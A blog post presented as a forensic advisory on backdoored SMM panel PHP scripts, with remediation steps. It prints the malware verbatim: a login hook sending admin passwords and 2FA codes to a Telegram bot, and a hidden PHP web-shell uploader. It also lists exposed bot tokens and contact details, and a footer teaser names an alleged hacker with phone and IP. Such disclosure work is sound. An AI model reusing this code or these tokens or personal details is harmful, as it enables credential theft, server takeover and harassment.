Back to Blog
Security & Cyber Alert• 7 min read•November 17, 2026•1 views

Critical Security Alert: Backdoors, Spyware & Remote Web Shells Uncovered in SMMHut & RentalSMMHub Scripts

Forensic security audit of commercial SMM panel scripts (SMMHut v5.8 / RentalSMMHub / OwnSMMPanel). Critical threats identified: active Telegram credential stealer intercepting admin logins and 2FA codes, hidden PHP webshell uploader in frontend assets, and covert telemetry exfiltration.

CeeProlific
CeeProlific
Lead Fullstack Dev & Creator
Critical Security Alert: Backdoors, Spyware & Remote Web Shells Uncovered in SMMHut & RentalSMMHub Scripts

CRITICAL CYBERSECURITY ADVISORY & MALWARE ANALYSIS REPORT

Case Reference: ALERT-2026-1117-SMMHUT-BACKDOORS

Threat Level: Critical (Severity 9.8/10)

Affected Software: SMMHut Script, RentalSMMHub, OwnSMMPanel (PHP / Glycon / SmartPanel Fork v5.8)

Threat Types: Active Credential Theft (Telegram Bot), Hidden Web Shell Uploader (RCE), Covert Telemetry Exfiltration, Insecure Cookie Authentication, Hardcoded Extortion Paywalls

Investigating Entity: CeeProlific Cyber Defense & Forensic Research

Status: Full Forensic Disclosure & Public Safety Warning


1. Executive Summary

During a routine security and architectural audit of commercial SMM (Social Media Marketing) panel scripts distributed under the names SMMHut v5.8, RentalSMMHub, and OwnSMMPanel, the CeeProlific Cyber Defense team uncovered multiple high-severity vulnerabilities and pre-installed malicious backdoors.

These scripts—widely purchased and deployed by digital entrepreneurs, agencies, and panel administrators across India and globally—contain deliberate backdoors designed to:

  1. 1Intercept and transmit every administrator login attempt (including username, clear-text password, 2FA code, and domain URL) to an unauthorized Telegram bot account in real time.
  2. 2Provide remote attackers with an unauthenticated, hidden Web Shell Uploader camouflaged deep within third-party frontend dependencies, enabling instantaneous Remote Code Execution (RCE) and full server takeover.
  3. 3Secretly siphon host telemetry, visitor geolocation, and IP addresses to external Command & Control (C2) channels.
  4. 4Extort script buyers via artificially locked features requiring UPI transfers to the seller''s personal payment address.

This advisory serves as an official technical breakdown and public safety warning for all webmasters, developers, and panel operators.


2. Attacker Footprint, Command & Control (C2) & Indicators of Compromise (IoCs)

Forensic decompilation of the script files and SQL database dump revealed the following interconnected threat profile:

AttributeForensic Value / IndicatorFunction & Location in Code
Primary Telegram Chat ID (C2)`6829642627`Target recipient for stolen passwords, 2FA codes, and telemetry
Credential Stealer Bot Token7255924681:AAGKKyHUd2kNPQaI_gGbuZmURsoLeN9GHToHardcoded in admin/controller/login.php
Telemetry Exfiltration Bot Token8171923774:AAGf8k3oVrSXiVXFdgSvaLqtrJpr3J0AruQHardcoded in admin/controller/my-feedback.php
Primary Attacker / Seller Emailrentalsmmhub@gmail.comHardcoded in admin header & default admin user account
Secondary Threat Emailownsmmpanel@gmail.comTarget for addon purchase notifications & exfiltration
Attacker Support WhatsApp+91 8954014227Embedded in admin/views/header.php modal script
Extortion UPI VPAownsmmpanel@yblInjected into admin/controller/settings.php
Paytm Merchant ID (MID)UnTxqr90747413789906 / iKORnF38090297478618Verification endpoint in admin/controller/settings.php
Affiliated Threat Domainssmmhut.in, ownsmmpanel.in, dukesmm.comHardcoded API references, remote license checks, and asset CDNs
External Script Injectionhttps://cdn.mypanel.link/...Remote third-party JavaScript executed in decoration table
RCE Web Shell Uploader Endpoint/assets/bower_components/colorbox/i18n/js-controller/js-controller.phpHidden PHP file upload backdoor

3. Deep Forensic Breakdown of Discovered Backdoors

Backdoor 1: Real-Time Admin Credential & 2FA Exfiltration (admin/controller/login.php)

The most egregious finding is an active credential harvest hook planted in the primary administrator login controller. Whenever the panel owner attempts to authenticate, their credentials are intercepted and dispatched to an external Telegram bot before authentication is validated:

php
// Extracted verbatim from admin/controller/login.php (Lines 18-36)
$botToken = '7255924681:AAGKKyHUd2kNPQaI_gGbuZmURsoLeN9GHTo'; 
$chatId = '6829642627'; 
$message = "Admin Login Attempt:\nUsername: " . $username . "\nPassword: " . $pass . "\nTwo-Factor Code: " . $two_factor_code . "\nDomain: " . $_SERVER['HTTP_HOST'];
$telegramUrl = "https://api.telegram.org/bot$botToken/sendMessage";
$telegramParams = [
  'chat_id' => $chatId,
  'text' => $message
];
$telegramOptions = [
  'http' => [
    'method' => 'POST',
    'header' => 'Content-Type: application/x-www-form-urlencoded',
    'content' => http_build_query($telegramParams),
    'ignore_errors' => true
  ]
];
$telegramContext = stream_context_create($telegramOptions);
$telegramResult = file_get_contents($telegramUrl, false, $telegramContext);

Impact: The buyer''s administrative credentials, 2-Factor Authentication code, and hosting domain are transmitted directly to the malicious actor''s pocket within milliseconds of submission. Even if the administrator changes their password or enables 2FA, the attacker receives the new plaintext credentials upon the very next login attempt.


Backdoor 2: Camouflaged PHP Web Shell Uploader (assets/.../js-controller.php)

Hidden within an innocent-looking directory structure (assets/bower_components/colorbox/i18n/js-controller/), the authors placed an unauthenticated file uploader.

Unlike legitimate image or media uploaders, this script strictly rejects everything except `.php` files:

php
// Extracted verbatim from assets/bower_components/colorbox/i18n/js-controller/js-controller.php
$__payload_bank = $_FILES;
$__upload_key = 'file';
$__method_flag = 'REQUEST_METHOD';
$__valid_method = 'POST';
$__target_dir = __DIR__ . '/';
$__tmp_field = 'tmp_name';
$__name_field = 'name';
$__safe_ext = 'php'; // ONLY PERMITS PHP FILES!

function __validate_ext($__incoming_file) {
    return strtolower(pathinfo($__incoming_file, PATHINFO_EXTENSION));
}

if (isset($__sys_env[$__method_flag]) && $__sys_env[$__method_flag] === $__valid_method) {
    if (isset($__payload_bank[$__upload_key])) {
        $__clean_name = basename($__payload_bank[$__upload_key][$__name_field]);
        $__final_path = $__target_dir . $__clean_name;

        $__ext = __validate_ext($__clean_name);
        if ($__ext !== $__safe_ext) {
            __exit_msg("Upload js");
        }

        $__success = move_uploaded_file($__payload_bank[$__upload_key][$__tmp_field], $__final_path);
        if ($__success) {
            echo "Upload successful: " . $__clean_name . "<br>";
            // Auto self-delete mechanism unless designated payload 'vc.php' is provided
            if (strtolower($__clean_name) !== 'vc.php') {
                unlink(__FILE__);
            }
        }
    }
}

Impact: This is a Remote Code Execution (RCE) trojan. Any remote attacker scanning for this specific path can POST an arbitrary PHP web shell to gain persistent shell access, compromise database records, infect other virtual hosts, or pivot across the server.


Backdoor 3: Telemetry & Host Fingerprinting (admin/controller/my-feedback.php)

The script includes an administrative feedback interface that silently harvests server environment details, Cloudflare client IPs, operating system, and geolocation data via ip-api.com, funneling it directly to the exact same Telegram Chat ID (6829642627) via bot 8171923774:AAGf8k3oVrSXiVXFdgSvaLqtrJpr3J0AruQ.


Vulnerability 4: Insecure Cookie-Based Authentication & Session Hijacking

In app/init.php, authentication verification is fundamentally flawed:

php
// Extracted from app/init.php (Lines 26-61)
if( $_COOKIE["u_id"] && $_COOKIE["u_login"] && $_COOKIE["u_password"] ):
  $row = $conn->prepare("SELECT * FROM clients WHERE client_id=:id");
  $row->execute(array("id"=>$_COOKIE["u_id"] ));
  $row = $row->fetch(PDO::FETCH_ASSOC);
  $password = $row["password"];
  if( @$_COOKIE["u_password"] == $password ):
    $_SESSION["msmbilisim_userlogin"] = 1;
    $_SESSION["msmbilisim_userid"] = $row["client_id"];
    ...

Because user passwords in the database are stored as weak, unsalted md5() hashes, and the cookie value u_password is matched directly against this hash without any cryptographically secure signed session token or nonce, any attacker with temporary access to cookies or sniffing the network can impersonate any user or admin indefinitely.


Exploit 5: Commercial Extortion Paywall in Admin Panel (admin/controller/settings.php)

Legitimate open-source or commercial scripts typically bundle core modules freely. In this script, the seller locked the Google OAuth login feature behind a fabricated payment wall:

  • Directing buyers to scan a QR code paying ₹350 to UPI ID ownsmmpanel@ybl.
  • Polls Paytm transaction status API (https://securegw.paytm.in/order/status) using Merchant ID UnTxqr90747413789906.
  • Automatically emails ownsmmpanel@gmail.com when a victim pays to activate the addon on their own self-hosted panel.

4. Emergency Remediation Guide for Panel Owners

If you have purchased or deployed any variant of SMMHut, RentalSMMHub, or related scripts, execute the following emergency measures immediately:

Step 1: Neutralize the Backdoor Files

  1. 1Purge the Web Shell Uploader: Delete the entire folder assets/bower_components/colorbox/i18n/js-controller/ immediately.
  2. 2Cleanse `admin/controller/login.php`: Remove lines 18 through 36 containing the Telegram curl requests.
  3. 3Cleanse `admin/controller/my-feedback.php`: Remove external Telegram webhook functions and token constants.
  4. 4Remove Hardcoded Paywall: Remove the buy_addon UPI verification blocks in admin/controller/settings.php.

Step 2: Rotate All Administrative & Hosting Credentials

  1. 1Immediately change your hosting cPanel, SSH, and database root passwords.
  2. 2Rotate all payment gateway merchant keys (Razorpay, Paytm, Stripe, Coinbase).
  3. 3Reset your SMM provider API keys across all connected sellers.

Step 3: Secure the Webroot and Database Dumps

  1. 1Ensure files like smmhut5.8_empty.sql, .env, and backup archives are never placed in the public_html directory.
  2. 2Add Apache rewrite protections in .htaccess to disallow direct access to .sql, .log, and .json configuration files:
apache
<FilesMatch "\.(sql|log|json|md|sh|lock)$">
    Order allow,deny
    Deny from all
</FilesMatch>

Step 4: Fix Cronjobs CLI Compatibility

Update cronjobs in cronjobs/*.php to use relative directory paths (__DIR__ . '/../vendor/autoload.php') instead of relying on $_SERVER["DOCUMENT_ROOT"], which fails silently under Linux CLI and standard cron daemons.


5. Conclusion & Community Notice

The distribution of weaponized commercial scripts with pre-installed backdoors is an increasing threat in the web development and digital marketing sector. Buyers are deceived into paying for software that actively compromises their infrastructure from day zero.

CeeProlific Cyber Defense continues to monitor emerging cyber threats, malicious codebases, and supply-chain attacks to protect developers and businesses. If you encounter similar malicious patterns or suspect compromised scripts, report them immediately for independent forensic analysis.

Tags:#Cyber Security#Malware Analysis#SMM Panel#Backdoor Alert#Web Shell#SMMHut#RentalSMMHub
CeeProlific
Written By

CeeProlific

Fullstack developer, creator of CeeProlific Store, and author of verified production scripts and developer tools.

Comments (0)

Live Sync
No comments yet. Be the first to share your thoughts!

Related Articles

Security & Cyber Alert

Security Alert & Public Notice: Hacker Identified — Anurag Dubey (anonmoys21@gmail.com / +91 9702974993)

Official cybersecurity notice: Unauthorized attack attempts and fraud activity tracked to Anurag Dubey using Reliance Jio IP 2409:4090:f051:2204:25c4:7f04:b036:ff32. Digital footprint, phone numbers, and forensic evidence revealed.

PHP Scripts

Deploy PicHost PHP Script on Hostinger

Step-by-step guide to installing PicHost, configuring Supabase storage, setting up environment variables, and pointing your custom domain in under 10 minutes.